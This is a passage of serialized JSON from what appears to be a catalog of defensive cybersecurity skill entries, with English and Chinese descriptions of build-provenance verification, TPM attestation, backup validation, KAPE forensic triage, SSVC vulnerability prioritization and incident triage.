管道，或在事件响应或准入控制期间确认来源的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[135,136],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":137,"categoryName":138,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C32Q37WAMK06SGMFC02VFP","软件供应链安全",[140,141,142,143,50,49,144,145,47,146,147,148,149,150,151,152,153,154,155,156],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":158,"name":159,"nameZh":160,"description":161,"descriptionZh":162,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":163,"categories":164,"keywords":169,"publishedAt":51},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","TPM 测量启动验证","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","使用 tpm2-tools 验证 TPM 2.0 测量启动（measured boot）的完整性和远程证明：读取 PCR（tpm2_pcrread）、重放启动事件日志、生成并检查签名报价（tpm2_quote\u002Ftpm2_checkquote），以及将机密封印（seal）到 PCR 策略。适用于确认系统已启动可信固件\u002F内核以实现零信任（Zero Trust）设备状态、通过 PCR 漂移检测启动链篡改，或构建黄金值基线用于机群（fleet）证明。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[165,166],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":167,"categoryName":168,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C89JJEXGGRGHS6XVXDA46K","终端安全加固",[170,153,171,172,50,173,49,47,174,175,176,177,178,179,180,181,182,183,184,185],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":187,"name":188,"nameZh":189,"description":190,"descriptionZh":191,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":192,"categories":193,"keywords":200,"publishedAt":51},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","备份完整性验证","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","通过加密哈希验证、自动化恢复测试、损坏检测和可恢复性检查来验证备份完整性，确认备份对于灾难恢复和勒索软件响应是可靠的。适用于在依赖备份进行恢复之前、构建备份后验证管道、审计备份基础设施以满足合规要求，或检查不可变\u002Fair-gapped（气隙）备份是否存在静默损坏或篡改的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[194,197],{"categoryNo":195,"categoryName":196,"taxonomyType":23,"taxonomyTypeDesc":24},"01M8BQGD4WETX0HM3SM9QKQ15B","SRE 工程师",{"categoryNo":198,"categoryName":199,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8BSSTY86MWS6W5GDQWB1ADQ","备份与灾难恢复",[180,201,202,203,42,49,204,205,174,206,207,208,209,210,211,212,213,214,215,216],"backup","recovery","validating backup integrity for recovery","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":218,"name":219,"nameZh":220,"description":221,"descriptionZh":222,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":223,"categories":224,"keywords":229,"publishedAt":51},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","KAPE Windows 取证收集","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","运行 KAPE（Kroll Artifact Parser and Extractor），通过 Targets 收集目标取证工件（注册表配置单元、$MFT、事件日志、prefetch、浏览器数据），并使用封装 Eric Zimmerman 的 EZ Tools（PECmd、MFTECmd、RECmd）的 Modules 进行解析。适用于事件遏制\u002F分诊早期阶段——此时完整磁盘镜像不切实际，但需要快速获得可采信、可解析的 Windows 工件集，包括大规模远程收集。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[225,226],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":227,"categoryName":228,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8C9JZH3GWXPJ6CQG5P7J48Y","数字取证与电子证据分析",[230,231,232,49,233,234,235,236,237,238,239,240,241,242,243,244,177,245,246,247],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":249,"name":250,"nameZh":251,"description":252,"descriptionZh":253,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":254,"categories":255,"keywords":260,"publishedAt":51},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","SSVC 漏洞优先级分诊","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","使用 CISA 的 Stakeholder-Specific Vulnerability Categorization（SSVC，利益相关方特定漏洞分类）决策树对漏洞进行分诊和优先级排序，权衡利用状态（通过 CISA KEV 目录和 FIRST EPSS API）、技术影响、自动化程度和任务普遍性，输出 Track\u002FTrack*\u002FAttend\u002FAct 决策。适用于对漏洞扫描结果（OpenVAS、Nessus、Qualys）进行优先级排序以制定修复计划，而不局限于原始 CVSS 分数的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[256,259],{"categoryNo":257,"categoryName":258,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8BQV98CYQ7TEW2D1MRQ00TE","安全公告与漏洞管理",{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},[261,262,263,49,264,265,266,267,268,269,270,271,272,273,274,275,276,277,278,279],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":281,"name":282,"nameZh":283,"description":284,"descriptionZh":285,"repositoryFullName":9,"ownerLogin":10,"ownerAvatarUrl":11,"ownerAccountNo":12,"ownerDisplayName":13,"repositoryNo":14,"starsCount":15,"licenseSpdxId":16,"licenseFileUrl":17,"sourceHtmlUrl":286,"categories":287,"keywords":292,"publishedAt":51},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","安全事件初步分诊","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","使用 NIST SP 800-61r3 和 SANS PICERL 框架对安全事件进行初步分诊，分类事件类型、按业务影响分配优先级，并路由到相应的响应团队。适用于 SIEM\u002FEDR 告警需要人工分类、并发告警必须确定优先级，或用户报告或威胁情报 IOC 匹配需要初步事件分类的场景。","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[288,289],{"categoryNo":21,"categoryName":22,"taxonomyType":23,"taxonomyTypeDesc":24},{"categoryNo":290,"categoryName":291,"taxonomyType":28,"taxonomyTypeDesc":29},"01M8BTHYSJPJ500X64JJ5CH06D","安全事件响应与威胁狩猎",[50,293,49,294,295,296,297,298,299,300,301,212,302,213,303,304,305,306,307,308],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]